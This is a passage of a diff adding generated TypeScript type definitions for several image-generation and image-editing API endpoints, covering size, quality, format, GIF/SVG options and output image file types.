+ width?: number +} + +export const inputOpenaiGptImage25SunburstEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage25SunburstEditImageSizeKey = + (typeof inputOpenaiGptImage25SunburstEditImageSize)[keyof typeof inputOpenaiGptImage25SunburstEditImageSize] + +export const inputOpenaiGptImage25SunburstEditBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage25SunburstEditBackgroundEnumKey = + (typeof inputOpenaiGptImage25SunburstEditBackgroundEnum)[keyof typeof inputOpenaiGptImage25SunburstEditBackgroundEnum] + +export const inputOpenaiGptImage25SunburstEditQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type InputOpenaiGptImage25SunburstEditQualityEnumKey = + (typeof inputOpenaiGptImage25SunburstEditQualityEnum)[keyof typeof inputOpenaiGptImage25SunburstEditQualityEnum] + +export const inputOpenaiGptImage25SunburstEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputOpenaiGptImage25SunburstEditOutputFormatEnumKey = + (typeof inputOpenaiGptImage25SunburstEditOutputFormatEnum)[keyof typeof inputOpenaiGptImage25SunburstEditOutputFormatEnum] + +/** + * @description GPT Image 2.5 edit inputs with model-specific quality and compression. + * @type object + */ +export type InputOpenaiGptImage25SunburstEdit = { + /** + * @description The size of the generated image. Use 'auto' to infer from input images. + * @default auto + */ + image_size?: ImageSize9E2559Eb | InputOpenaiGptImage25SunburstEditImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URLs of the images to use as a reference for the generation. A maximum of 16 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8691af/9Se_1_VX1wzTjjTOpWbs9_bb39c2eb-1a41-4749-b1d0-cf134abc8bbf.png"] + * @type array + */ + image_urls: string[] + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage25SunburstEditBackgroundEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Mask image URL. White marks regions to edit and black marks regions to keep. + */ + mask_url?: string | null + /** + * @description Quality for the generated image. Higher settings increase detail, latency, and token usage. Use 'auto' to let the model choose. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage25SunburstEditQualityEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage25SunburstEditOutputFormatEnumKey + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example Same workers, same beam, same lunch boxes - but they're all on their phones now. One is taking a selfie. One is on a call looking annoyed. Same danger, new priorities. A hard hat has AirPods. + * @type string + */ + prompt: string +} + +export type ImageFileEe4Fb295 = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputOpenaiGptImage25SunburstEdit = { + /** + * @description The generated images. + * @example [{"file_name":"yUt7tifLSbg1WzWWgfj2o.png","height":1024,"url":"https://v3b.fal.media/files/b/0a8691b0/yUt7tifLSbg1WzWWgfj2o.png","content_type":"image/png","width":1024}] + * @type array + */ + images: ImageFileEe4Fb295[] +} + +export type ImageSize4C7Dca58 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputOpenaiGptImage25SunburstTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputOpenaiGptImage25SunburstTextToImageOutputFormatEnumKey = + (typeof inputOpenaiGptImage25SunburstTextToImageOutputFormatEnum)[keyof typeof inputOpenaiGptImage25SunburstTextToImageOutputFormatEnum] + +export const inputOpenaiGptImage25SunburstTextToImageQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type InputOpenaiGptImage25SunburstTextToImageQualityEnumKey = + (typeof inputOpenaiGptImage25SunburstTextToImageQualityEnum)[keyof typeof inputOpenaiGptImage25SunburstTextToImageQualityEnum] + +export const inputOpenaiGptImage25SunburstTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage25SunburstTextToImageImageSizeKey = + (typeof inputOpenaiGptImage25SunburstTextToImageImageSize)[keyof typeof inputOpenaiGptImage25SunburstTextToImageImageSize] + +export const inputOpenaiGptImage25SunburstTextToImageBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage25SunburstTextToImageBackgroundEnumKey = + (typeof inputOpenaiGptImage25SunburstTextToImageBackgroundEnum)[keyof typeof inputOpenaiGptImage25SunburstTextToImageBackgroundEnum] + +/** + * @description GPT Image 2.5 generation inputs, kept separate from GPT Image 2. + * @type object + */ +export type InputOpenaiGptImage25SunburstTextToImage = { + /** + * @description Output format for the images + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage25SunburstTextToImageOutputFormatEnumKey + /** + * @description Quality for the generated image. Higher settings increase detail, latency, and token usage. Use 'auto' to let the model choose. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage25SunburstTextToImageQualityEnumKey + /** + * @description The size of the generated image. Supports preset names, explicit {width, height}, or 'auto' to let the model pick the best size. Concrete sizes must have both dimensions as multiples of 16, max edge 3840px, aspect ratio <= 3:1, total pixels between 655,360 and 8,294,400. + * @default landscape_4_3 + */ + image_size?: + | ImageSize4C7Dca58 + | InputOpenaiGptImage25SunburstTextToImageImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage25SunburstTextToImageBackgroundEnumKey + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example create a realistic image taken with iphone at these coordinates 41°43′32″N 49°56′49″W 15 April 1912 + * @type string + */ + prompt: string + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile952D8E36 = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputOpenaiGptImage25SunburstTextToImage = { + /** + * @description The generated images. + * @example [{"file_name":"EnWrO3XWjPE0nxBDpaQrj.png","height":1024,"url":"https://v3b.fal.media/files/b/0a869129/EnWrO3XWjPE0nxBDpaQrj.png","content_type":"image/png","width":1024}] + * @type array + */ + images: ImageFile952D8E36[] +} + +export type ImageSize25A4C300 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputOpenaiGptImage26FlareEditReasoningEffortEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputOpenaiGptImage26FlareEditReasoningEffortEnumKey = + (typeof inputOpenaiGptImage26FlareEditReasoningEffortEnum)[keyof typeof inputOpenaiGptImage26FlareEditReasoningEffortEnum] + +export const inputOpenaiGptImage26FlareEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', + gif: 'gif', +} as const + +export type InputOpenaiGptImage26FlareEditOutputFormatEnumKey = + (typeof inputOpenaiGptImage26FlareEditOutputFormatEnum)[keyof typeof inputOpenaiGptImage26FlareEditOutputFormatEnum] + +export const inputOpenaiGptImage26FlareEditBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage26FlareEditBackgroundEnumKey = + (typeof inputOpenaiGptImage26FlareEditBackgroundEnum)[keyof typeof inputOpenaiGptImage26FlareEditBackgroundEnum] + +export const inputOpenaiGptImage26FlareEditQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type InputOpenaiGptImage26FlareEditQualityEnumKey = + (typeof inputOpenaiGptImage26FlareEditQualityEnum)[keyof typeof inputOpenaiGptImage26FlareEditQualityEnum] + +export const inputOpenaiGptImage26FlareEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage26FlareEditImageSizeKey = + (typeof inputOpenaiGptImage26FlareEditImageSize)[keyof typeof inputOpenaiGptImage26FlareEditImageSize] + +/** + * @description GPT Image 2.6 edit inputs with model-specific quality and compression. + * @type object + */ +export type InputOpenaiGptImage26FlareEdit = { + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example Same workers, same beam, same lunch boxes - but they're all on their phones now. One is taking a selfie. One is on a call looking annoyed. Same danger, new priorities. A hard hat has AirPods. + * @type string + */ + prompt: string + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description GIF only: number of frames. image_size applies to each frame; reduce size or count if the request exceeds the pixel budget. + * @minimum 2 + * @maximum 16 + * @default 9 + * @type integer | undefined + */ + frame_count?: number + /** + * @description How much the model plans before rendering, independently of quality (OpenAI `complexity`). Higher levels can help with dense text and complex layouts but add latency. + * @default 'high' + * @type string | undefined + */ + reasoning_effort?: InputOpenaiGptImage26FlareEditReasoningEffortEnumKey + /** + * @description Mask image URL. White marks regions to edit and black marks regions to keep. + */ + mask_url?: string | null + /** + * @description Output format for the images. 'gif' returns an animation. + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage26FlareEditOutputFormatEnumKey + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage26FlareEditBackgroundEnumKey + /** + * @description The URLs of the images to use as a reference for the generation. A maximum of 16 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8691af/9Se_1_VX1wzTjjTOpWbs9_bb39c2eb-1a41-4749-b1d0-cf134abc8bbf.png"] + * @type array + */ + image_urls: string[] + /** + * @description Transparent PNG containing only annotations (circles, arrows, notes) that guide the edit of the first image. Must match the first image's dimensions. Cannot be combined with mask_url. Reference images are sent unmodified when set. + */ + markup_image_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of images to generate. Must be 1 for SVG output. For GIF output, all frames of all outputs share the request's pixel budget. + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Rendering quality for the generated image. For SVG output it controls the reference image used to create the vector. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage26FlareEditQualityEnumKey + /** + * @description GIF only: milliseconds per frame, rounded to 10 ms. + * @minimum 20 + * @maximum 2000 + * @default 200 + * @type integer | undefined + */ + frame_duration_ms?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. Use 'auto' to infer from input images. + * @default auto + */ + image_size?: ImageSize25A4C300 | InputOpenaiGptImage26FlareEditImageSizeKey +} + +export type ImageFile63Bc82Dc = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputOpenaiGptImage26FlareEdit = { + /** + * @description The generated images. + * @example [{"file_name":"yUt7tifLSbg1WzWWgfj2o.png","content_type":"image/png","url":"https://v3b.fal.media/files/b/0a8691b0/yUt7tifLSbg1WzWWgfj2o.png","width":1024,"height":1024}] + * @type array + */ + images: ImageFile63Bc82Dc[] +} + +export type ImageSize0Ecdd851 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputOpenaiGptImage26FlareTextToImageReasoningEffortEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputOpenaiGptImage26FlareTextToImageReasoningEffortEnumKey = + (typeof inputOpenaiGptImage26FlareTextToImageReasoningEffortEnum)[keyof typeof inputOpenaiGptImage26FlareTextToImageReasoningEffortEnum] + +export const inputOpenaiGptImage26FlareTextToImageQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type InputOpenaiGptImage26FlareTextToImageQualityEnumKey = + (typeof inputOpenaiGptImage26FlareTextToImageQualityEnum)[keyof typeof inputOpenaiGptImage26FlareTextToImageQualityEnum] + +export const inputOpenaiGptImage26FlareTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', + gif: 'gif', + svg: 'svg', +} as const + +export type InputOpenaiGptImage26FlareTextToImageOutputFormatEnumKey = + (typeof inputOpenaiGptImage26FlareTextToImageOutputFormatEnum)[keyof typeof inputOpenaiGptImage26FlareTextToImageOutputFormatEnum] + +export const inputOpenaiGptImage26FlareTextToImageSvgModelEnum = { + 'gpt-6-astra': 'gpt-6-astra', + 'gpt-5.5': 'gpt-5.5', + 'gpt-5.4': 'gpt-5.4', + 'gpt-5.6-terra': 'gpt-5.6-terra', + 'gpt-6-luna': 'gpt-6-luna', +} as const + +export type InputOpenaiGptImage26FlareTextToImageSvgModelEnumKey = + (typeof inputOpenaiGptImage26FlareTextToImageSvgModelEnum)[keyof typeof inputOpenaiGptImage26FlareTextToImageSvgModelEnum] + +export const inputOpenaiGptImage26FlareTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage26FlareTextToImageImageSizeKey = + (typeof inputOpenaiGptImage26FlareTextToImageImageSize)[keyof typeof inputOpenaiGptImage26FlareTextToImageImageSize] + +export const inputOpenaiGptImage26FlareTextToImageBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage26FlareTextToImageBackgroundEnumKey = + (typeof inputOpenaiGptImage26FlareTextToImageBackgroundEnum)[keyof typeof inputOpenaiGptImage26FlareTextToImageBackgroundEnum] + +/** + * @description GPT Image 2.6 generation inputs. + * @type object + */ +export type InputOpenaiGptImage26FlareTextToImage = { + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example create a realistic image taken with iphone at these coordinates 41°43′32″N 49°56′49″W 15 April 1912 + * @type string + */ + prompt: string + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description GIF only: number of frames. image_size applies to each frame; reduce size or count if the request exceeds the pixel budget. + * @minimum 2 + * @maximum 16 + * @default 9 + * @type integer | undefined + */ + frame_count?: number + /** + * @description How much the model plans before rendering, independently of quality (OpenAI `complexity`). Higher levels can help with dense text and complex layouts but add latency. + * @default 'high' + * @type string | undefined + */ + reasoning_effort?: InputOpenaiGptImage26FlareTextToImageReasoningEffortEnumKey + /** + * @description Number of images to generate. Must be 1 for SVG output. For GIF output, all frames of all outputs share the request's pixel budget. + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Rendering quality for the generated image. For SVG output it controls the reference image used to create the vector. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage26FlareTextToImageQualityEnumKey + /** + * @description Output format for the images. 'gif' returns an animation and 'svg' a vector image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage26FlareTextToImageOutputFormatEnumKey + /** + * @description GIF only: milliseconds per frame, rounded to 10 ms. + * @minimum 20 + * @maximum 2000 + * @default 200 + * @type integer | undefined + */ + frame_duration_ms?: number + /** + * @description SVG only: the model that converts the generated reference image into vector paths. Larger models produce more accurate shapes. + * @default 'gpt-6-astra' + * @type string | undefined + */ + svg_model?: InputOpenaiGptImage26FlareTextToImageSvgModelEnumKey + /** + * @description The size of the generated image. Supports preset names, explicit {width, height}, or 'auto' to let the model pick the best size. Concrete sizes must have both dimensions as multiples of 16, max edge 3840px, aspect ratio <= 3:1, total pixels between 655,360 and 8,294,400. + * @default landscape_4_3 + */ + image_size?: + | ImageSize0Ecdd851 + | InputOpenaiGptImage26FlareTextToImageImageSizeKey + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage26FlareTextToImageBackgroundEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile0C60100D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputOpenaiGptImage26FlareTextToImage = { + /** + * @description The generated images. + * @example [{"file_name":"EnWrO3XWjPE0nxBDpaQrj.png","content_type":"image/png","url":"https://v3b.fal.media/files/b/0a869129/EnWrO3XWjPE0nxBDpaQrj.png","width":1024,"height":1024}] + * @type array + */ + images: ImageFile0C60100D[] +} + +export type ImageSize7730E098 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputOpenaiGptImage26SunburstEditReasoningEffortEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputOpenaiGptImage26SunburstEditReasoningEffortEnumKey = + (typeof inputOpenaiGptImage26SunburstEditReasoningEffortEnum)[keyof typeof inputOpenaiGptImage26SunburstEditReasoningEffortEnum] + +export const inputOpenaiGptImage26SunburstEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', + gif: 'gif', +} as const + +export type InputOpenaiGptImage26SunburstEditOutputFormatEnumKey = + (typeof inputOpenaiGptImage26SunburstEditOutputFormatEnum)[keyof typeof inputOpenaiGptImage26SunburstEditOutputFormatEnum] + +export const inputOpenaiGptImage26SunburstEditBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage26SunburstEditBackgroundEnumKey = + (typeof inputOpenaiGptImage26SunburstEditBackgroundEnum)[keyof typeof inputOpenaiGptImage26SunburstEditBackgroundEnum] + +export const inputOpenaiGptImage26SunburstEditQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type InputOpenaiGptImage26SunburstEditQualityEnumKey = + (typeof inputOpenaiGptImage26SunburstEditQualityEnum)[keyof typeof inputOpenaiGptImage26SunburstEditQualityEnum] + +export const inputOpenaiGptImage26SunburstEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage26SunburstEditImageSizeKey = + (typeof inputOpenaiGptImage26SunburstEditImageSize)[keyof typeof inputOpenaiGptImage26SunburstEditImageSize] + +/** + * @description GPT Image 2.6 edit inputs with model-specific quality and compression. + * @type object + */ +export type InputOpenaiGptImage26SunburstEdit = { + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example Same workers, same beam, same lunch boxes - but they're all on their phones now. One is taking a selfie. One is on a call looking annoyed. Same danger, new priorities. A hard hat has AirPods. + * @type string + */ + prompt: string + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description GIF only: number of frames. image_size applies to each frame; reduce size or count if the request exceeds the pixel budget. + * @minimum 2 + * @maximum 16 + * @default 9 + * @type integer | undefined + */ + frame_count?: number + /** + * @description How much the model plans before rendering, independently of quality (OpenAI `complexity`). Higher levels can help with dense text and complex layouts but add latency. + * @default 'high' + * @type string | undefined + */ + reasoning_effort?: InputOpenaiGptImage26SunburstEditReasoningEffortEnumKey + /** + * @description Mask image URL. White marks regions to edit and black marks regions to keep. + */ + mask_url?: string | null + /** + * @description Output format for the images. 'gif' returns an animation. + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage26SunburstEditOutputFormatEnumKey + /** + * @description Background for the generated image + * @default 'auto' + * @type string | undefined + */ + background?: InputOpenaiGptImage26SunburstEditBackgroundEnumKey + /** + * @description The URLs of the images to use as a reference for the generation. A maximum of 16 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8691af/9Se_1_VX1wzTjjTOpWbs9_bb39c2eb-1a41-4749-b1d0-cf134abc8bbf.png"] + * @type array + */ + image_urls: string[] + /** + * @description Transparent PNG containing only annotations (circles, arrows, notes) that guide the edit of the first image. Must match the first image's dimensions. Cannot be combined with mask_url. Reference images are sent unmodified when set. + */ + markup_image_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of images to generate. Must be 1 for SVG output. For GIF output, all frames of all outputs share the request's pixel budget. + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Rendering quality for the generated image. For SVG output it controls the reference image used to create the vector. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage26SunburstEditQualityEnumKey + /** + * @description GIF only: milliseconds per frame, rounded to 10 ms. + * @minimum 20 + * @maximum 2000 + * @default 200 + * @type integer | undefined + */ + frame_duration_ms?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. Use 'auto' to infer from input images. + * @default auto + */ + image_size?: ImageSize7730E098 | InputOpenaiGptImage26SunburstEditImageSizeKey +} + +export type ImageFile82855854 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputOpenaiGptImage26SunburstEdit = { + /** + * @description The generated images. + * @example [{"file_name":"yUt7tifLSbg1WzWWgfj2o.png","content_type":"image/png","url":"https://v3b.fal.media/files/b/0a8691b0/yUt7tifLSbg1WzWWgfj2o.png","width":1024,"height":1024}] + * @type array + */ + images: ImageFile82855854[] +} + +export type ImageSize62F6Ffe9 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputOpenaiGptImage26SunburstTextToImageReasoningEffortEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputOpenaiGptImage26SunburstTextToImageReasoningEffortEnumKey = + (typeof inputOpenaiGptImage26SunburstTextToImageReasoningEffortEnum)[keyof typeof inputOpenaiGptImage26SunburstTextToImageReasoningEffortEnum] + +export const inputOpenaiGptImage26SunburstTextToImageQualityEnum = { + auto: 'auto', + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type InputOpenaiGptImage26SunburstTextToImageQualityEnumKey = + (typeof inputOpenaiGptImage26SunburstTextToImageQualityEnum)[keyof typeof inputOpenaiGptImage26SunburstTextToImageQualityEnum] + +export const inputOpenaiGptImage26SunburstTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', + gif: 'gif', + svg: 'svg', +} as const + +export type InputOpenaiGptImage26SunburstTextToImageOutputFormatEnumKey = + (typeof inputOpenaiGptImage26SunburstTextToImageOutputFormatEnum)[keyof typeof inputOpenaiGptImage26SunburstTextToImageOutputFormatEnum] + +export const inputOpenaiGptImage26SunburstTextToImageSvgModelEnum = { + 'gpt-6-astra': 'gpt-6-astra', + 'gpt-5.5': 'gpt-5.5', + 'gpt-5.4': 'gpt-5.4', + 'gpt-5.6-terra': 'gpt-5.6-terra', + 'gpt-6-luna': 'gpt-6-luna', +} as const + +export type InputOpenaiGptImage26SunburstTextToImageSvgModelEnumKey = + (typeof inputOpenaiGptImage26SunburstTextToImageSvgModelEnum)[keyof typeof inputOpenaiGptImage26SunburstTextToImageSvgModelEnum] + +export const inputOpenaiGptImage26SunburstTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputOpenaiGptImage26SunburstTextToImageImageSizeKey = + (typeof inputOpenaiGptImage26SunburstTextToImageImageSize)[keyof typeof inputOpenaiGptImage26SunburstTextToImageImageSize] + +export const inputOpenaiGptImage26SunburstTextToImageBackgroundEnum = { + auto: 'auto', + transparent: 'transparent', + opaque: 'opaque', +} as const + +export type InputOpenaiGptImage26SunburstTextToImageBackgroundEnumKey = + (typeof inputOpenaiGptImage26SunburstTextToImageBackgroundEnum)[keyof typeof inputOpenaiGptImage26SunburstTextToImageBackgroundEnum] + +/** + * @description GPT Image 2.6 generation inputs. + * @type object + */ +export type InputOpenaiGptImage26SunburstTextToImage = { + /** + * @description The prompt for image generation + * @minLength 1 + * @maxLength 32000 + * @example create a realistic image taken with iphone at these coordinates 41°43′32″N 49°56′49″W 15 April 1912 + * @type string + */ + prompt: string + /** + * @description Compression level from 0 to 100. Only supported when output_format is 'jpeg' or 'webp'. + */ + output_compression?: number | null + /** + * @description GIF only: number of frames. image_size applies to each frame; reduce size or count if the request exceeds the pixel budget. + * @minimum 2 + * @maximum 16 + * @default 9 + * @type integer | undefined + */ + frame_count?: number + /** + * @description How much the model plans before rendering, independently of quality (OpenAI `complexity`). Higher levels can help with dense text and complex layouts but add latency. + * @default 'high' + * @type string | undefined + */ + reasoning_effort?: InputOpenaiGptImage26SunburstTextToImageReasoningEffortEnumKey + /** + * @description Number of images to generate. Must be 1 for SVG output. For GIF output, all frames of all outputs share the request's pixel budget. + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Rendering quality for the generated image. For SVG output it controls the reference image used to create the vector. + * @default 'high' + * @type string | undefined + */ + quality?: InputOpenaiGptImage26SunburstTextToImageQualityEnumKey + /** + * @description Output format for the images. 'gif' returns an animation and 'svg' a vector image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputOpenaiGptImage26SunburstTextToImageOutputFormatEnumKey + /** + * @description GIF only: milliseconds per frame, rounded to 10 ms. + * @minimum 20 + * @maximum 2000 + * @default 200 + * @type integer | undefined + */ + frame_duration_ms?: number + /** + * @description SVG only: the model that converts the generated reference image into vector paths. Larger models produce more accurate shapes. + * @default 